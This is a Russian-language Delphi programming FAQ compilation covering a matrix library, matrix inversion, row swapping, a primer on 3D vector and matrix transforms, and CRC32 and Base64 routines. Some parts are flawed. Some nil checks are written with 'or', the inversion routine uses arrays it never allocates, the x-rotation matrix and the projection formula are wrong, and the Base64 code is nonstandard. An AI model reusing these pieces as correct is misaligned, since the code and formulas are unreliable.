  if MPtr <> nil then GetMatrixCol:= MPtr^.MatrixCol
  else GetMatrixCol:= 0;
end;

procedure SetMatrixElement(MPtr : MatrixPtr;Row,Col : byte;Value : MatrixElement);
var
  TempPtr : ^MatrixElement;
begin
  if MPtr <> nil then
    if (Row <> 0) or (Col <> 0) then with MPtr^ do begin
      pointer(TempPtr):= pointer(MatrixArray);
      Inc(TempPtr,MatrixRow*(Col-1)+Row-1);
      TempPtr^:= Value;
    end;
end;

function GetMatrixElement(MPtr : MatrixPtr;Row,Col : byte) : MatrixElement;
var
  TempPtr : ^MatrixElement;
begin
  if MPtr <> nil then begin
    if (Row <> 0) and (Col <> 0) then with MPtr^ do begin
      pointer(TempPtr):= pointer(MatrixArray);
      Inc(TempPtr,MatrixRow*(Col-1)+Row-1);
      GetMatrixElement:= TempPtr^;
    end else GetMatrixElement:= 0;
  end else GetMatrixElement:= 0;
end;

function ExcludeVectorFromMatrix(MPtr : MatrixPtr;Row,Col : byte) : MatrixPtr;
var
  NewPtr           : MatrixPtr;
  NewRow, NewCol   : byte;
  i,j              : byte;
  DiffRow, DiffCol : byte;
begin
  if MPtr <> nil then with MPtr^ do begin

    if Row = 0 then NewRow:= MatrixRow
    else NewRow:= MatrixRow-1;
    if Col = 0 then NewCol:= MatrixCol
    else NewCol:= MatrixCol-1;

    NewPtr:= CreateMatrix(NewRow, NewCol);
    if (NewPtr = nil) or (NewPtr^.MatrixArray = nil) then begin
      ExcludeVectorFromMatrix:= nil;
      Exit;
    end;

    DiffRow:= 0;
    DiffCol:= 0;
    for i:= 1 to MatrixRow do begin
      if i = Row then DiffRow:= 1
      else  for j:= 1 to MatrixCol do if j = Col then DiffCol:= 1
        else SetMatrixElement(NewPtr,i-DiffRow,j-DiffCol,
          GetMatrixElement(MPtr,i,j));
      DiffCol:= 0;
    end;

    ExcludeVectorFromMatrix:= NewPtr;
  end else ExcludeVectorFromMatrix:= nil;
end;

function SetVectorIntoMatrix(MPtr,VPtr : MatrixPtr;_Pos : byte) : MatrixPtr;
var
  TempPtr : MatrixPtr;
  i       : byte;
begin
  if (MPtr <> nil) and (VPtr <> nil) then begin
    TempPtr:= CloneMatrix(MPtr);
    if TempPtr = nil then begin
      SetVectorIntoMatrix:= nil;
      Exit;
    end;
    if VPtr^.MatrixRow = 1 then begin
      for i:= 1 to TempPtr^.MatrixCol do
        SetMatrixElement(TempPtr,_Pos,i,GetMatrixElement(VPtr,1,i));
    end else begin
      for i:= 1 to TempPtr^.MatrixRow do
        SetMatrixElement(TempPtr,i,_Pos,GetMatrixElement(VPtr,i,1));
    end;
    SetVectorIntoMatrix:= TempPtr;
  end else SetVectorIntoMatrix:= nil;
end;

function DetMatrix(MPtr : MatrixPtr) : MatrixElement;
var
  TempPtr : MatrixPtr;
  i,j     : byte;
  Sum     : MatrixElement;
begin
  if IsSquareMatrix(MPtr) then begin
    if not IsSingleMatrix(MPtr) then begin
      TempPtr:= nil;
      Sum:= 0;
      for j:= 1 to GetMatrixCol(MPtr) do begin
        AssignMatrix(TempPtr,ExcludeVectorFromMatrix(MPtr,1,j));
        Sum:= Sum+IntPower(-1,j+1)*GetMatrixElement(MPtr,1,j)*DetMatrix(TempPtr);
      end;
      DeleteMatrix(TempPtr);
      DetMatrix:= Sum;
    end else DetMatrix:= GetMatrixElement(MPtr,1,1);
  end else DetMatrix:= 0;
end;

function DetTriangularMatrix(MPtr : MatrixPtr) : MatrixElement;
var
  i       : byte;
  Sum     : MatrixElement;
begin
  if IsSquareMatrix(MPtr) then begin
    Sum:= 1;
    for i:= 1 to MPtr^.MatrixRow do
      Sum:= Sum*GetMatrixElement(MPtr,i,i);
    DetTriangularMatrix:= Sum;
  end else DetTriangularMatrix:= 0;
end;

function AppendixElement(MPtr : MatrixPtr;Row,Col : byte) : MatrixElement;
var
  TempPtr : MatrixPtr;
begin
  if IsSquareMatrix(MPtr) then begin
    TempPtr:= ExcludeVectorFromMatrix(MPtr,Row,Col);
    if TempPtr = nil then begin
      AppendixElement:= 0;
      Exit;
    end;
    AppendixElement:= IntPower(-1,Row+Col)*DetMatrix(TempPtr);
    DeleteMatrix(TempPtr);
  end else AppendixElement:= 0;
end;

function CreateAppendixMatrix(MPtr : MatrixPtr) : MatrixPtr;
var
  TempPtr : MatrixPtr;
  i,j     : byte;
begin
  if (MPtr <> nil) or (MPtr^.MatrixArray <> nil) or
     (not IsSquareMatrix(MPtr)) then with MPtr^ do begin
    TempPtr:= CreateMatrix(MatrixCol,MatrixRow);
    for i:= 1 to MatrixRow do
      for j:= 1 to MatrixCol do
        SetMatrixElement(TempPtr,i,j,AppendixElement(MPtr,i,j));
    CreateAppendixMatrix:= TempPtr;
  end else CreateAppendixMatrix:= nil;
end;

function TransponeMatrix(MPtr : MatrixPtr) : MatrixPtr;
var
  TempPtr : MatrixPtr;
  i,j     : byte;
begin
  if (MPtr <> nil) or (MPtr^.MatrixArray <> nil) then with MPtr^ do begin
    TempPtr:= CreateMatrix(MatrixCol,MatrixRow);
    for i:= 1 to MatrixRow do
      for j:= 1 to MatrixCol do
        SetMatrixElement(TempPtr,j,i,GetMatrixElement(MPtr,i,j));
    TransponeMatrix:= TempPtr;
  end else TransponeMatrix:= nil;
end;

function ReverseMatrix(MPtr : MatrixPtr) : MatrixPtr;
var
  TempPtr     : MatrixPtr;
  Determinant : MatrixElement;
begin
  if MPtr <> nil then begin
    TempPtr:= nil;
    AssignMatrix(TempPtr,CreateAppendixMatrix(MPtr));
    AssignMatrix(TempPtr,TransponeMatrix(TempPtr));
    Determinant:= DetMatrix(MPtr);
    if (TempPtr = nil) or (Determinant = 0) then begin
      DeleteMatrix(TempPtr);
      ReverseMatrix:= nil;
      Exit;
    end;
    AssignMatrix(TempPtr,MultipleMatrixOnNumber(TempPtr,1/Determinant));
    ReverseMatrix:= TempPtr;
  end else ReverseMatrix:= nil;
end;

function MultipleMatrixOnNumber(MPtr : MatrixPtr;Number : MatrixElement) : MatrixPtr;
var
  TempPtr : MatrixPtr;
  i,j     : byte;
begin
  if MPtr <> nil then with MPtr^ do begin
    TempPtr:= CreateMatrix(MatrixRow,MatrixCol);
    if TempPtr = nil then begin
      MultipleMatrixOnNumber:= nil;
      Exit;
    end;
    for i:= 1 to MatrixRow do
      for j:= 1 to MatrixCol do
        SetMatrixElement(TempPtr,i,j,GetMatrixElement(MPtr,i,j)*Number);
    MultipleMatrixOnNumber:= TempPtr;
  end else MultipleMatrixOnNumber:= nil;
end;

function MultipleMatrixOnMatrix(MPtr1,MPtr2 : MatrixPtr) : MatrixPtr;
var
  TempPtr : MatrixPtr;
  i,j,k   : byte;
begin
  if (MPtr1 <>  nil) and (MPtr2 <> nil) then begin
    TempPtr:= CreateMatrix(MPtr1^.MatrixRow,MPtr2^.MatrixCol);
    if TempPtr = nil then begin
      MultipleMatrixOnMatrix:= nil;
      Exit;
    end;
    for i:= 1 to TempPtr^.MatrixRow do
      for j:= 1 to TempPtr^.MatrixCol do
        for k:= 1 to MPtr1^.MatrixCol do
          SetMatrixElement(TempPtr,i,j,GetMatrixElement(TempPtr,i,j)+
            GetMatrixElement(MPtr1,i,k)*GetMatrixElement(MPtr2,k,j));
    MultipleMatrixOnMatrix:= TempPtr;
  end else MultipleMatrixOnMatrix:= nil;
end;

function AddMatrixOnMatrix(MPtr1,MPtr2 : MatrixPtr) : MatrixPtr;
var
  TempPtr : MatrixPtr;
  i,j,k   : byte;
begin
  if (MPtr1 <>  nil) and (MPtr2 <> nil) then begin
    TempPtr:= CreateMatrix(MPtr1^.MatrixRow,MPtr2^.MatrixCol);
    if TempPtr = nil then begin
      AddMatrixOnMatrix:= nil;
      Exit;
    end;
    for i:= 1 to TempPtr^.MatrixRow do
      for j:= 1 to TempPtr^.MatrixCol do
        SetMatrixElement(TempPtr,i,j,GetMatrixElement(Mptr1,i,j)+
          GetMatrixElement(MPtr2,i,j));
    AddMatrixOnMatrix:= TempPtr;
  end else AddMatrixOnMatrix:= nil;
end;

function SubMatrixOnMatrix(MPtr1,MPtr2 : MatrixPtr) : MatrixPtr;
var
  TempPtr : MatrixPtr;
  i,j,k   : byte;
begin
  if (MPtr1 <>  nil) and (MPtr2 <> nil) then begin
    TempPtr:= CreateMatrix(MPtr1^.MatrixRow,MPtr2^.MatrixCol);
    if TempPtr = nil then begin
      SubMatrixOnMatrix:= nil;
      Exit;
    end;
    for i:= 1 to TempPtr^.MatrixRow do
      for j:= 1 to TempPtr^.MatrixCol do
        SetMatrixElement(TempPtr,i,j,GetMatrixElement(MPtr1,i,j)-
          GetMatrixElement(MPtr2,i,j));
    SubMatrixOnMatrix:= TempPtr;
  end else SubMatrixOnMatrix:= nil;
end;

function GausseMethodMatrix(MPtr,VPtr : MatrixPtr;var LPtr,UPtr,BPtr : MatrixPtr) : MatrixPtr;
var
  TempPtr  : MatrixPtr;
  TempVPtr : MatrixPtr;
  TempLPtr : MatrixPtr;
  TempUPtr : MatrixPtr;
  XSum     : MatrixElement;
  i,j,k    : byte;
begin
  if (MPtr <> nil) and (VPtr <> nil) then begin

    TempUPtr:= CloneMatrix(MPtr);
    if TempUPtr = nil then begin
      GausseMethodMatrix:= nil;
      Exit;
    end;
    TempLPtr:= CreateMatrix(MPtr^.MatrixRow,MPtr^.MatrixCol);
    if TempLPtr = nil then begin
      DeleteMatrix(TempUPtr);
      GausseMethodMatrix:= nil;
      Exit;
    end;
    TempVPtr:= CloneMatrix(VPtr);
    if TempVPtr = nil then begin
      DeleteMatrix(TempLPtr);
      DeleteMatrix(TempUPtr);
      GausseMethodMatrix:= nil;
      Exit;
    end;
    TempPtr:= CreateMatrix(MPtr^.MatrixRow,1);
    if TempPtr = nil then begin
      DeleteMatrix(TempVPtr);
      DeleteMatrix(TempLPtr);
      DeleteMatrix(TempUPtr);
      GausseMethodMatrix:= nil;
      Exit;
    end;

    for j:= 1 to MPtr^.MatrixCol-1 do begin
      SetMatrixElement(TempLPtr,j,j,1);
      for i:= j+1 to MPtr^.MatrixRow do begin
        SetMatrixElement(TempLPtr,i,j,GetMatrixElement(TempUPtr,i,j)/
          GetMatrixElement(TempUPtr,j,j));
        for k:= j to MPtr^.MatrixCol do begin
          SetMatrixElement(TempUPtr,i,k,GetMatrixElement(TempUPtr,i,k)-
            GetMatrixElement(TempLPtr,i,j)*GetMatrixElement(TempUPtr,j,k));
        end;
        SetMatrixElement(TempVPtr,i,1,GetMatrixElement(TempVPtr,i,1)-
          GetMatrixElement(TempLPtr,i,j)*GetMatrixElement(TempVPtr,j,1));
      end;
    end;

    SetMatrixElement(TempLPtr,TempLPtr^.MatrixRow,TempLPtr^.MatrixCol,1);
    SetMatrixElement(TempPtr,TempPtr^.MatrixRow,1,
      GetMatrixElement(TempVPtr,TempVPtr^.MatrixRow,1)/
      GetMatrixElement(TempUPtr,TempUPtr^.MatrixRow,TempUPtr^.MatrixCol));

    for j:= MPtr^.MatrixCol-1 downto 1 do begin
      XSum:= 0;
      for k:= j+1 to MPtr^.MatrixCol do
        XSum:= XSum+GetMatrixElement(TempUPtr,j,k)*
          GetMatrixElement(TempPtr,k,1);
      SetMatrixElement(TempPtr,j,1,(GetMatrixElement(TempVPtr,j,1)-XSum)/
        GetMatrixElement(TempUPtr,j,j));
    end;

    LPtr:= TempLPtr;
    UPtr:= TempUPtr;
    BPtr:= TempVPtr;
    GausseMethodMatrix:= TempPtr;
  end else GausseMethodMatrix:= nil;
end;

end.

Мне кажется, что интерфейсное описание весьма простое, но если возникнут какие-либо вопросы - пишите на E-mail - постараюсь ответить на все Ваши вопросы. Может быть, азы матричного исчисления я опишу в виде отдельной статьи по причине множества поступивших вопросов, хотя в этой матричной математике нет ничего сложного :o) Следует отметить, что теория матриц дает в Ваши руки весьма мощный инструмент по анализу данных весьма различного характера, в чем я неоднократно убеждался на практике.

Важные, на мой взгляд, замечания. НЕ СТЕСНЯЙТЕСЬ использовать подход, использующий стандартный тип Pascal - record - в объектах мало чего хорошего в межкомпиляторном взаимодействии. Да и, кстати, использование типа record до сих пор является самым быстрым способом математических расчетов, в отличиие от ООП. Частенько простое 2+2=4 дает существенный выигрыш по времени выполнения, по сравнению с объектным подходом, а если математических вычислений в Вашей программе великое множество....

Взято с http://delphiworld.narod.ru


Как инвертировать матрицу?

type
  RCOMat = array of array of Extended;

var
  DimMat: integer;

procedure InvertMatrix(var aa: RCOMat);
var
  numb, nula1, ipiv, indxr, indxc: array of Integer;
  i, j, l, kod, jmax, k, ll, icol, irow: Integer;
  amax, d, c, pomos, big, dum, pivinv: Double;
  ind: Boolean;
begin
  for j := 0 to Pred(DimMat) do ipiv[j] := 0;

  irow := 1;
  icol := 1;
  for i := 0 to Pred(DimMat) do
  begin
    big := 0;

    for j := 0 to Pred(DimMat) do
    begin
      if (ipiv[j] <> 1) then
      begin
        for k := 0 to Pred(DimMat) do
        begin
          if (ipiv[k] = 0) then
            if (Abs(aa[j, k]) >= big) then
            begin
              big  := Abs(aa[j, k]);
              irow := j;
              icol := k;
            end
            else;
        end;
      end;
    end;

    ipiv[icol] := ipiv[icol] + 1;
    if (irow <> icol) then
    begin
      for l := 0 to Pred(DimMat) do
      begin
        dum         := aa[irow, l];
        aa[irow, l] := aa[icol, l];
        aa[icol, l] := dum;
      end;
      for l := 0 to Pred(DimMat) do
      begin
        dum := aa[irow + DimMat + 1, l];
        aa[irow + DimMat + 1, l] := aa[icol + DimMat + 1, l];
        aa[icol + DimMat + 1, l] := dum;
      end;
    end;
    indxr[i] := irow;
    indxc[i] := icol;
    if (aa[icol, icol] = 0) then;
    pivinv         := 1.0 / aa[icol, icol];
    aa[icol, icol] := 1.0;
    for l := 0 to Pred(DimMat) do aa[icol, l] := aa[icol, l] * pivinv;
    for l := 0 to Pred(DimMat) do aa[icol + DimMat + 1, l] :=
        aa[icol + DimMat + 1, l] * pivinv;
    for ll := 0 to Pred(DimMat) do
    begin
      if (ll <> icol) then
      begin
        dum          := aa[ll, icol];
        aa[ll, icol] := 0.0;
        for l := 0 to Pred(DimMat) do aa[ll, l] := aa[ll, l] - aa[icol, l] * dum;
        for l := 0 to Pred(DimMat) do aa[ll + DimMat + 1, l] :=
            aa[ll + DimMat + 1, l] - aa[icol + DimMat + 1, l] * dum;
      end;
    end;
  end;

  for l := Pred(DimMat) downto 0 do
  begin
    if (indxr[l] <> indxc[l]) then
    begin
      for k := 0 to Pred(DimMat) do
      begin
        dum := aa[k, indxr[l]];
        aa[k, indxr[l]] := aa[k, indxc[l]];
        aa[k, indxc[l]] := dum;
      end;
    end;
  end;
end;
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Как заменить строку в матрице

program Matrices;

{$APPTYPE CONSOLE}

uses
  SysUtils;

type
  TMatrixRow = Array of Double;  {preferrable to Real}
  TMatrix = Array of TMatrixRow;

procedure MatrixExchangeRows(M: TMatrix; First, Second: Integer);
var
  Help: TMatrixRow;
begin
  if (First < 0) or (First > High(M)) or (Second < 0) or (Second > High(M)) then
    Exit;  {or whatever you like.}
  {Only pointers are exchanged!}
  Help := M[First];
  M[First] := M[Second];
  M[Second] := Help;
end;

procedure MatrixWrite(M: TMatrix);
var
  Row, Col: Integer;
begin
  for Row := 0 to High(M) do
  begin
    for Col := 0 to High(M[Row]) do
      Write(M[Row, Col]:10:2);
    Writeln;
  end;
  Writeln;
end;

var
  Matrix: TMatrix;
  Row, Column: Integer;

begin
  Randomize;
  SetLength(Matrix, 4, 4);
  for Row := 0 to High(Matrix) do
    for Column := 0 to High(Matrix[Row]) do
      Matrix[Row, Column] := Random * 1000.0;
  MatrixWrite(Matrix);
  MatrixExchangeRows(Matrix, 1, 2);
  MatrixWrite(Matrix);
  Readln;
end.
Взято из http://www.lmc-mediaagentur.de/dpool


Основы 3D математики - Векторные и матричные преобразования

Векторы

Вектор - направленный отрезок, имеющий направление и длину. Векторы обозначаются так: a = (x,y,z), например, b = (0,1,-2). Еще одно представление вектора : AB = (x,y,z).

AB = (x,y,z) = (bx-ax,by-ay,bz-az),

где A и B - 2 точки, A(ax,ay,az) и B(bx,by,bz), A - начало вектора, B - конец вектора.

Длина вектора

Длина вектора, |a|, считается так:

|a| = sqrt(ax2+ay2+az2).

Сложение векторов.

a + b = c;
a + b = (ax + bx, ay + by, az + bz).

т. е. как результат мы получаем вектор.

Вычитание векторов.

c - a = b;
c - a = (cx - ax, cy - ay, cz - az).

как результат - также мы получаем вектор.

Cкалярное произведение векторов.(dot)

Скалярное произведение 2х векторов - произведение длин 2х векторов на cos угла между ними. Скалярное произведение векторов - это длина проекции вектора a на вектор b.

a . b = |a| |b| cos ?;
или
a . b = axbx + ayby + azbz;

Следствие: ? - угол между двумя векторами: cos ? = a . b / (|a| |b|);

Проекция одного вектора на другой.

Для того, чтобы вычислить проекцию вектора b на вектор а требуется просто произвести скалярное умножение этих векторов, а затем получить произведение получившегося результата на вектор b. Обозначим искомый вектор как c. тогда:

c = (a . b) b;

фактически, мы находим длину проекции и, умножая ее на вектор, проекцию которого мы нашли, маштабируем его до нужного размера.

Умножение вектора на вектор.(cross)

Умножая вектор a на вектор b, мы получим вектор, перпендикулярный плоскости, которую определяют вектора a и b.

a x b = ( aybz - byaz , azbx - bzax , axby - bxay );

фактически, таким образом находиться вектор нормали к полигонам.

Матрицы

Здесь я постарался вкратце изложить то, что мы будем делать с матрицами.
скалярное произведение векторов:

[ a ] [ d ]
[ b ] * [ f ] = a*d + b*f + c*g
[ c ] [ g ]

Векторное произведение:

[ a ] [ d ] [ b*f - c*e ]
AxB = [ b ] x [ e ] = [ c*d - a*f ]
[ c ] [ f ] [ a*e - b*d ]

Сложение матриц:

[ 1 2 3 ] [ 10 11 12 ] [ 1+10 2+11 3+12 ]
[ 4 5 6 ] + [ 13 14 15 ] = [ 4+13 5+14 6+15 ]
[ 7 8 9 ] [ 16 17 18 ] [ 7+16 8+17 9+18 ]

Умножение матриц:

[ 1 2 3 ] [ 10 11 12 ] [ 1*10+2*13+3*16 1*11+2*14+3*17 1*12+2*15+3*18 ]
[ 4 5 6 ] * [ 13 14 15 ] = [ 4*10+5*13+6*16 4*11+5*14+6*17 4*12+5*15+6*18 ]
[ 7 8 9 ] [ 16 17 18 ] [ 7*10+8*13+9*16 7*11+8*14+9*17 7*12+8*15+9*18 ]

Очень важным является тот факт, что (A*B)*С = A*(B*C)

Векторные и матричные преобразования

Параллельный перенос:
Переносим точку (x,y,z) на вектор (dx,dy,dz), в результате получим точку с координатами (x+dx, y+dy, z+dz);

Поворот:
Поворачиваем точку (x,y) на угол ? :

x' = x cos ? - y*sin ?
y' = x sin ? + y*cos ?

для трехмерного случая - аналогично для каждой плоскости.
ясно, что если нам потребуется (а нам потребуется :) ) проводить для каждой точки в пространстве параллельный перенос + поворот в пространстве, то придеться сделать огромное количество преобразований.
можно построить матрицы преобразований, помножив точку - вектор на которую, мы получим результат - координаты искомой точки.

матрица параллельного переноса:

[ 1 0 0 0 ]
[ 0 1 0 0 ]
[ 0 0 1 0 ]
[ x y z 1 ]

матрица растяжения/сжатия:

[ z 0 0 0 ]
[ 0 y 0 0 ]
[ 0 0 x 0 ]
[ 0 0 0 1 ]

матрица поворота вокруг оси x:

[ 0 0 0 0 ]
[ 0 cos ? sin ? 0 ]
[ 0 -sin ? cos ? 0 ]
[ 0 0 0 1 ]

матрица поворота вокруг оси y:

[ cos ? 0 -sin ? 0 ]
[ 0 1 0 0 ]
[ sin ? 0 cos ? 0 ]
[ 0 0 0 1 ]

матрица поворота вокруг оси z:

[ cos ? sin ? 0 0 ]
[-sin ? cos ? 0 0 ]
[ 0 0 1 0 ]
[ 0 0 0 1 ]

теперь - зачем нужны матрицы в 3D-програмировании, если можно все сделать с помощью векторов, и если, например, поворот точки с помощью векторов занимает меньше операций, чем используя матрицы.

например, мы отодвигаем камеру и поворачиваем ее. для этого требуется произвести серию операций (переносов, поворотов) с точками (вершинами полигонов) в 3D-сцене. т.е. для каждой точки произвести сначала параллельный перенос, а затем - повороты по всем осям. при использовании векторов мы просто проведем все эти операции отдельно для каждой точки... что весьма ресурсоемко. или - матричные параллельные переносы, повороты.... еще более ресурсоемко, но вспомним:

(A*B)*C = A*(B*C)

для матриц.. а нам требуется провести такие преобразования: a*A*B*C*D, где - а-точка-вектор, над которым требуется произвести действия, а A,B,C,D - матрицы переноса и поворотов. Мы вполне можем не последовательно умножать точку-вектор a на матрицы переносов, а сначала перемножить эти матрицы, а затем просто умножать получившуюся матрицу на каждую точку, которую требуется сместить - перемножение 4х матриц, а затем умножение 1 вектора на 1 матрицу на каждую точку по сравнению с подвержением каждой точки векторным преобразованиям - весьма и весьма значительное сокращение производимых операций.

Взято с http://delphiworld.narod.ru


Контрольные суммы и шифрование, проверка контрольных сумм

Cодержание раздела:

Пример вычисления контрольной суммы (CRC32)
Base64 кодирование Updated!
Как вычислить CRC-32 для файла?
Как вычислить CRC (контрольную сумму) для файла?
Как проверить правильность номера кредитной карточки?
Как проверить правильность International Bank Account Number?
Пример шифрования данных
Простейший алгоритм шифрования строки
Как проверить правильность штрих-кода?
UUE кодирование
Алгоритм хэширования MD5
Естественные ключи против искуственных ключей New!
CryptoAPI (статья) New!
Библиотека реализующая практически все распространённые алгоритмы шифрования и хэширования New!
Шифрование файлов при помощи NTFS функций New!
Алгоритм шифрования TEA New!

См. также статьи в других разделах:
Быстрые операции с очень большими строками New!


Пример вычисления контрольной суммы (CRC32)

function CRC32(const IniCRC:Integer;Source:AnsiString):Integer;
asm
Push EBX
Push ESI
Push EDI
Or EDX,EDX
Jz @Done
Mov ESI,EDX
Mov ECX,[EDX-4]
Jecxz @Done
Lea EDI,@CRCTbl
Mov EDX,EAX
Xor EAX,EAX
Cld
@L1:
Lodsb
Mov EBX,EDX
Xor EBX,EAX
And EBX,$FF
Shl EBX,2
Shr EDX,8
And EDX,$FFFFFF
Xor EDX,[EDI+EBX]
Dec ECX
Jnz @L1
Mov EAX,EDX
@Done:
Pop EDI
Pop ESI
Pop EBX
Ret
@CRCTbl:
DD $00000000, $77073096, $ee0e612c, $990951ba
DD $076dc419, $706af48f, $e963a535, $9e6495a3
DD $0edb8832, $79dcb8a4, $e0d5e91e, $97d2d988
DD $09b64c2b, $7eb17cbd, $e7b82d07, $90bf1d91
DD $1db71064, $6ab020f2, $f3b97148, $84be41de
DD $1adad47d, $6ddde4eb, $f4d4b551, $83d385c7
DD $136c9856, $646ba8c0, $fd62f97a, $8a65c9ec
DD $14015c4f, $63066cd9, $fa0f3d63, $8d080df5
DD $3b6e20c8, $4c69105e, $d56041e4, $a2677172
DD $3c03e4d1, $4b04d447, $d20d85fd, $a50ab56b
DD $35b5a8fa, $42b2986c, $dbbbc9d6, $acbcf940
DD $32d86ce3, $45df5c75, $dcd60dcf, $abd13d59
DD $26d930ac, $51de003a, $c8d75180, $bfd06116
DD $21b4f4b5, $56b3c423, $cfba9599, $b8bda50f
DD $2802b89e, $5f058808, $c60cd9b2, $b10be924
DD $2f6f7c87, $58684c11, $c1611dab, $b6662d3d
DD $76dc4190, $01db7106, $98d220bc, $efd5102a
DD $71b18589, $06b6b51f, $9fbfe4a5, $e8b8d433
DD $7807c9a2, $0f00f934, $9609a88e, $e10e9818
DD $7f6a0dbb, $086d3d2d, $91646c97, $e6635c01
DD $6b6b51f4, $1c6c6162, $856530d8, $f262004e
DD $6c0695ed, $1b01a57b, $8208f4c1, $f50fc457
DD $65b0d9c6, $12b7e950, $8bbeb8ea, $fcb9887c
DD $62dd1ddf, $15da2d49, $8cd37cf3, $fbd44c65
DD $4db26158, $3ab551ce, $a3bc0074, $d4bb30e2
DD $4adfa541, $3dd895d7, $a4d1c46d, $d3d6f4fb
DD $4369e96a, $346ed9fc, $ad678846, $da60b8d0
DD $44042d73, $33031de5, $aa0a4c5f, $dd0d7cc9
DD $5005713c, $270241aa, $be0b1010, $c90c2086
DD $5768b525, $206f85b3, $b966d409, $ce61e49f
DD $5edef90e, $29d9c998, $b0d09822, $c7d7a8b4
DD $59b33d17, $2eb40d81, $b7bd5c3b, $c0ba6cad
DD $edb88320, $9abfb3b6, $03b6e20c, $74b1d29a
DD $ead54739, $9dd277af, $04db2615, $73dc1683
DD $e3630b12, $94643b84, $0d6d6a3e, $7a6a5aa8
DD $e40ecf0b, $9309ff9d, $0a00ae27, $7d079eb1
DD $f00f9344, $8708a3d2, $1e01f268, $6906c2fe
DD $f762575d, $806567cb, $196c3671, $6e6b06e7
DD $fed41b76, $89d32be0, $10da7a5a, $67dd4acc
DD $f9b9df6f, $8ebeeff9, $17b7be43, $60b08ed5
DD $d6d6a3e8, $a1d1937e, $38d8c2c4, $4fdff252
DD $d1bb67f1, $a6bc5767, $3fb506dd, $48b2364b
DD $d80d2bda, $af0a1b4c, $36034af6, $41047a60
DD $df60efc3, $a867df55, $316e8eef, $4669be79
DD $cb61b38c, $bc66831a, $256fd2a0, $5268e236
DD $cc0c7795, $bb0b4703, $220216b9, $5505262f
DD $c5ba3bbe, $b2bd0b28, $2bb45a92, $5cb36a04
DD $c2d7ffa7, $b5d0cf31, $2cd99e8b, $5bdeae1d
DD $9b64c2b0, $ec63f226, $756aa39c, $026d930a
DD $9c0906a9, $eb0e363f, $72076785, $05005713
DD $95bf4a82, $e2b87a14, $7bb12bae, $0cb61b38
DD $92d28e9b, $e5d5be0d, $7cdcefb7, $0bdbdf21
DD $86d3d2d4, $f1d4e242, $68ddb3f8, $1fda836e
DD $81be16cd, $f6b9265b, $6fb077e1, $18b74777
DD $88085ae6, $ff0f6a70, $66063bca, $11010b5c
DD $8f659eff, $f862ae69, $616bffd3, $166ccf45
DD $a00ae278, $d70dd2ee, $4e048354, $3903b3c2
DD $a7672661, $d06016f7, $4969474d, $3e6e77db
DD $aed16a4a, $d9d65adc, $40df0b66, $37d83bf0
DD $a9bcae53, $debb9ec5, $47b2cf7f, $30b5ffe9
DD $bdbdf21c, $cabac28a, $53b39330, $24b4a3a6
DD $bad03605, $cdd70693, $54de5729, $23d967bf
DD $b3667a2e, $c4614ab8, $5d681b02, $2a6f2b94
DD $b40bbe37, $c30c8ea1, $5a05df1b, $2d02ef8d
end;

Автор:Vit
www.delphist.com
www.drkb.ru
chicago.lastplanet.com

Взято с Vingrad.ru http://forum.vingrad.ru


Base64 кодирование

function Decode(const S: AnsiString): AnsiString;
const
  Map: array[Char] of Byte = (0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 62, 0, 0, 0, 63, 52, 53,
    54, 55, 56, 57, 58, 59, 60, 61, 0, 0, 0, 0, 0, 0, 0, 0, 1, 2,
    3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19,
    20, 21, 22, 23, 24, 25, 0, 0, 0, 0, 0, 0, 26, 27, 28, 29, 30,
    31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45,
    46, 47, 48, 49, 50, 51, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0);
var
  I: LongInt;
begin
  case Length(S) of
    2:
      begin
        I := Map[S[1]] + (Map[S[2]] shl 6);
        SetLength(Result, 1);
        Move(I, Result[1], Length(Result))
      end;
    3:
      begin
        I := Map[S[1]] + (Map[S[2]] shl 6) + (Map[S[3]] shl 12);
        SetLength(Result, 2);
        Move(I, Result[1], Length(Result))
      end;
    4:
      begin
        I := Map[S[1]] + (Map[S[2]] shl 6) + (Map[S[3]] shl 12) +
          (Map[S[4]] shl 18);
        SetLength(Result, 3);
        Move(I, Result[1], Length(Result))
      end
  end
end;

function Encode(const S: AnsiString): AnsiString;
const
  Map: array[0..63] of Char = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' +
    'abcdefghijklmnopqrstuvwxyz0123456789+/';
var
  I: LongInt;
begin
  I := 0;
  Move(S[1], I, Length(S));
  case Length(S) of
    1:
      Result := Map[I mod 64] + Map[(I shr 6) mod 64];
    2:
      Result := Map[I mod 64] + Map[(I shr 6) mod 64] +
        Map[(I shr 12) mod 64];
    3:
      Result := Map[I mod 64] + Map[(I shr 6) mod 64] +
        Map[(I shr 12) mod 64] + Map[(I shr 18) mod 64]
  end
end;
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php

type TAByte = array [0..maxInt-1] of byte;
type TPAByte = ^TAByte;

function Encode(data:string) : string; overload;
const b64 : array [0..63] of char = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/';
var ic,len : integer;
pi, po : TPAByte;
c1 : dword;
begin
len:=length(data);
if len > 0 then begin
SetLength(result, ((len + 2) div 3) * 4);
pi := pointer(data);
po := pointer(result);
for ic := 1 to len div 3 do begin
c1 := pi^[0] shl 16 + pi^[1] shl 8 + pi^[2];
po^[0] := byte(b64[(c1 shr 18) and $3f]);
